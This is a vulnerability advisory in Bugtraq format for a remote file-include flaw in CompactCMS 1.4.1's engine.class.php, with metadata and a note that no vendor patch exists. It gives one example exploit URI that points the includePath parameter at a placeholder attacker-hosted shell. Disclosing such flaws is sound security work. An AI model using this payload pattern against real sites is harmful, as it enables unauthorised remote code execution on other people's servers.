CompactCMS 'engine.class.php' Remote File Include Vulnerability

Bugtraq ID:	47417
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 18 2011 12:00AM
Updated:	Apr 18 2011 12:00AM
Credit:	KedAns-Dz
Vulnerable:	CompactCMS CompactCMS 1.4.1
Not Vulnerable:

CompactCMS 'engine.class.php' Remote File Include Vulnerability

CompactCMS is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

CompactCMS versions 1.4.1 and prior are vulnerable.

CompactCMS 'engine.class.php' Remote File Include Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/[path]/lib/class/engine.class.php?includePath=[Ev!L-Sh3ll]

CompactCMS 'engine.class.php' Remote File Include Vulnerability

Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

CompactCMS 'engine.class.php' Remote File Include Vulnerability

References:

• CompactCMS Homepage (CompactCMS)